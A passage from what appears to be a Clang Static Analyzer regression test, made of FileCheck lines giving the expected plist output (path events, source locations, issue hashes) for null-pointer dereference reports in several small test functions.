// CHECK-NEXT: <!-- This hash is experimental and going to change! -->
// CHECK-NEXT: <key>issue_hash_content_of_line_in_context</key><string>cb893891b6a08ee4b7dc3d0c11df856e</string>
// CHECK-NEXT: <key>issue_context_kind</key><string>function</string>
// CHECK-NEXT: <key>issue_context</key><string>testCheck</string>
// CHECK-NEXT: <key>issue_hash_function_offset</key><string>6</string>
// CHECK-NEXT: <key>location</key>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>24</integer>
// CHECK-NEXT: <key>col</key><integer>6</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>path</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>kind</key><string>event</string>
// CHECK-NEXT: <key>location</key>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>32</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <key>ranges</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>32</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>32</integer>
// CHECK-NEXT: <key>col</key><integer>8</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </array>
// CHECK-NEXT: <key>depth</key><integer>0</integer>
// CHECK-NEXT: <key>extended_message</key>
// CHECK-NEXT: <string>'a' initialized here</string>
// CHECK-NEXT: <key>message</key>
// CHECK-NEXT: <string>'a' initialized here</string>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>kind</key><string>control</string>
// CHECK-NEXT: <key>edges</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>start</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>32</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>32</integer>
// CHECK-NEXT: <key>col</key><integer>5</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: <key>end</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>34</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>34</integer>
// CHECK-NEXT: <key>col</key><integer>4</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>kind</key><string>control</string>
// CHECK-NEXT: <key>edges</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>start</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>34</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>34</integer>
// CHECK-NEXT: <key>col</key><integer>4</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: <key>end</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>34</integer>
// CHECK-NEXT: <key>col</key><integer>7</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>34</integer>
// CHECK-NEXT: <key>col</key><integer>7</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>kind</key><string>event</string>
// CHECK-NEXT: <key>location</key>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>34</integer>
// CHECK-NEXT: <key>col</key><integer>7</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <key>ranges</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>34</integer>
// CHECK-NEXT: <key>col</key><integer>7</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>34</integer>
// CHECK-NEXT: <key>col</key><integer>7</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </array>
// CHECK-NEXT: <key>depth</key><integer>0</integer>
// CHECK-NEXT: <key>extended_message</key>
// CHECK-NEXT: <string>Assuming 'a' is null</string>
// CHECK-NEXT: <key>message</key>
// CHECK-NEXT: <string>Assuming 'a' is null</string>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>kind</key><string>control</string>
// CHECK-NEXT: <key>edges</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>start</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>34</integer>
// CHECK-NEXT: <key>col</key><integer>7</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>34</integer>
// CHECK-NEXT: <key>col</key><integer>7</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: <key>end</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>39</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>39</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>kind</key><string>control</string>
// CHECK-NEXT: <key>edges</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>start</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>39</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>39</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: <key>end</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>39</integer>
// CHECK-NEXT: <key>col</key><integer>6</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>39</integer>
// CHECK-NEXT: <key>col</key><integer>6</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>kind</key><string>event</string>
// CHECK-NEXT: <key>location</key>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>39</integer>
// CHECK-NEXT: <key>col</key><integer>6</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <key>ranges</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>39</integer>
// CHECK-NEXT: <key>col</key><integer>4</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>39</integer>
// CHECK-NEXT: <key>col</key><integer>4</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </array>
// CHECK-NEXT: <key>depth</key><integer>0</integer>
// CHECK-NEXT: <key>extended_message</key>
// CHECK-NEXT: <string>Dereference of null pointer (loaded from variable 'a')</string>
// CHECK-NEXT: <key>message</key>
// CHECK-NEXT: <string>Dereference of null pointer (loaded from variable 'a')</string>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: <key>description</key><string>Dereference of null pointer (loaded from variable 'a')</string>
// CHECK-NEXT: <key>category</key><string>Logic error</string>
// CHECK-NEXT: <key>type</key><string>Dereference of null pointer</string>
// CHECK-NEXT: <key>check_name</key><string>core.NullDereference</string>
// CHECK-NEXT: <!-- This hash is experimental and going to change! -->
// CHECK-NEXT: <key>issue_hash_content_of_line_in_context</key><string>ec20b5e53a72c82d442b3ca04c81e138</string>
// CHECK-NEXT: <key>issue_context_kind</key><string>function</string>
// CHECK-NEXT: <key>issue_context</key><string>testInitCheck</string>
// CHECK-NEXT: <key>issue_hash_function_offset</key><string>8</string>
// CHECK-NEXT: <key>location</key>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>39</integer>
// CHECK-NEXT: <key>col</key><integer>6</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>path</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>kind</key><string>event</string>
// CHECK-NEXT: <key>location</key>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>44</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <key>ranges</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>44</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>44</integer>
// CHECK-NEXT: <key>col</key><integer>18</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </array>
// CHECK-NEXT: <key>depth</key><integer>0</integer>
// CHECK-NEXT: <key>extended_message</key>
// CHECK-NEXT: <string>Value assigned to 'a'</string>
// CHECK-NEXT: <key>message</key>
// CHECK-NEXT: <string>Value assigned to 'a'</string>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>kind</key><string>control</string>
// CHECK-NEXT: <key>edges</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>start</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>44</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>44</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: <key>end</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>46</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>46</integer>
// CHECK-NEXT: <key>col</key><integer>4</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>kind</key><string>control</string>
// CHECK-NEXT: <key>edges</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>start</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>46</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>46</integer>
// CHECK-NEXT: <key>col</key><integer>4</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: <key>end</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>46</integer>
// CHECK-NEXT: <key>col</key><integer>7</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>46</integer>
// CHECK-NEXT: <key>col</key><integer>7</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>kind</key><string>event</string>
// CHECK-NEXT: <key>location</key>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>46</integer>
// CHECK-NEXT: <key>col</key><integer>7</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <key>ranges</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>46</integer>
// CHECK-NEXT: <key>col</key><integer>7</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>46</integer>
// CHECK-NEXT: <key>col</key><integer>7</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </array>
// CHECK-NEXT: <key>depth</key><integer>0</integer>
// CHECK-NEXT: <key>extended_message</key>
// CHECK-NEXT: <string>Assuming 'a' is null</string>
// CHECK-NEXT: <key>message</key>
// CHECK-NEXT: <string>Assuming 'a' is null</string>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>kind</key><string>control</string>
// CHECK-NEXT: <key>edges</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>start</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>46</integer>
// CHECK-NEXT: <key>col</key><integer>7</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>46</integer>
// CHECK-NEXT: <key>col</key><integer>7</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: <key>end</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>51</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>51</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>kind</key><string>control</string>
// CHECK-NEXT: <key>edges</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>start</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>51</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>51</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: <key>end</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>51</integer>
// CHECK-NEXT: <key>col</key><integer>6</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>51</integer>
// CHECK-NEXT: <key>col</key><integer>6</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>kind</key><string>event</string>
// CHECK-NEXT: <key>location</key>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>51</integer>
// CHECK-NEXT: <key>col</key><integer>6</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <key>ranges</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>51</integer>
// CHECK-NEXT: <key>col</key><integer>4</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>51</integer>
// CHECK-NEXT: <key>col</key><integer>4</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </array>
// CHECK-NEXT: <key>depth</key><integer>0</integer>
// CHECK-NEXT: <key>extended_message</key>
// CHECK-NEXT: <string>Dereference of null pointer (loaded from variable 'a')</string>
// CHECK-NEXT: <key>message</key>
// CHECK-NEXT: <string>Dereference of null pointer (loaded from variable 'a')</string>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: <key>description</key><string>Dereference of null pointer (loaded from variable 'a')</string>
// CHECK-NEXT: <key>category</key><string>Logic error</string>
// CHECK-NEXT: <key>type</key><string>Dereference of null pointer</string>
// CHECK-NEXT: <key>check_name</key><string>core.NullDereference</string>
// CHECK-NEXT: <!-- This hash is experimental and going to change! -->
// CHECK-NEXT: <key>issue_hash_content_of_line_in_context</key><string>1ae8e7c84d15f307abc1df9f5612078b</string>
// CHECK-NEXT: <key>issue_context_kind</key><string>function</string>
// CHECK-NEXT: <key>issue_context</key><string>testStoreCheck</string>
// CHECK-NEXT: <key>issue_hash_function_offset</key><string>8</string>
// CHECK-NEXT: <key>location</key>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>51</integer>
// CHECK-NEXT: <key>col</key><integer>6</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>path</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>kind</key><string>control</string>
// CHECK-NEXT: <key>edges</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>start</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>65</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>65</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: <key>end</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>65</integer>
// CHECK-NEXT: <key>col</key><integer>4</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>65</integer>
// CHECK-NEXT: <key>col</key><integer>10</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>kind</key><string>event</string>
// CHECK-NEXT: <key>location</key>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>65</integer>
// CHECK-NEXT: <key>col</key><integer>4</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <key>ranges</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>65</integer>
// CHECK-NEXT: <key>col</key><integer>4</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>65</integer>
// CHECK-NEXT: <key>col</key><integer>12</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </array>
// CHECK-NEXT: <key>depth</key><integer>0</integer>
// CHECK-NEXT: <key>extended_message</key>
// CHECK-NEXT: <string>Calling 'getZero'</string>
// CHECK-NEXT: <key>message</key>
// CHECK-NEXT: <string>Calling 'getZero'</string>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>kind</key><string>event</string>
// CHECK-NEXT: <key>location</key>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>56</integer>
// CHECK-NEXT: <key>col</key><integer>1</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <key>depth</key><integer>1</integer>
// CHECK-NEXT: <key>extended_message</key>
// CHECK-NEXT: <string>Entered call from 'testReturnZero'</string>
// CHECK-NEXT: <key>message</key>
// CHECK-NEXT: <string>Entered call from 'testReturnZero'</string>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>kind</key><string>control</string>
// CHECK-NEXT: <key>edges</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>start</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>56</integer>
// CHECK-NEXT: <key>col</key><integer>1</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>56</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: <key>end</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>57</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>57</integer>
// CHECK-NEXT: <key>col</key><integer>5</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>kind</key><string>event</string>
// CHECK-NEXT: <key>location</key>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>57</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <key>ranges</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>57</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>57</integer>
// CHECK-NEXT: <key>col</key><integer>8</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </array>
// CHECK-NEXT: <key>depth</key><integer>1</integer>
// CHECK-NEXT: <key>extended_message</key>
// CHECK-NEXT: <string>'p' initialized to a null pointer value</string>
// CHECK-NEXT: <key>message</key>
// CHECK-NEXT: <string>'p' initialized to a null pointer value</string>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>kind</key><string>control</string>
// CHECK-NEXT: <key>edges</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>start</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>57</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>57</integer>
// CHECK-NEXT: <key>col</key><integer>5</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: <key>end</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>60</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>60</integer>
// CHECK-NEXT: <key>col</key><integer>8</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>kind</key><string>event</string>
// CHECK-NEXT: <key>location</key>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>60</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <key>ranges</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>60</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>60</integer>
// CHECK-NEXT: <key>col</key><integer>10</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </array>
// CHECK-NEXT: <key>depth</key><integer>1</integer>
// CHECK-NEXT: <key>extended_message</key>
// CHECK-NEXT: <string>Returning null pointer (loaded from 'p')</string>
// CHECK-NEXT: <key>message</key>
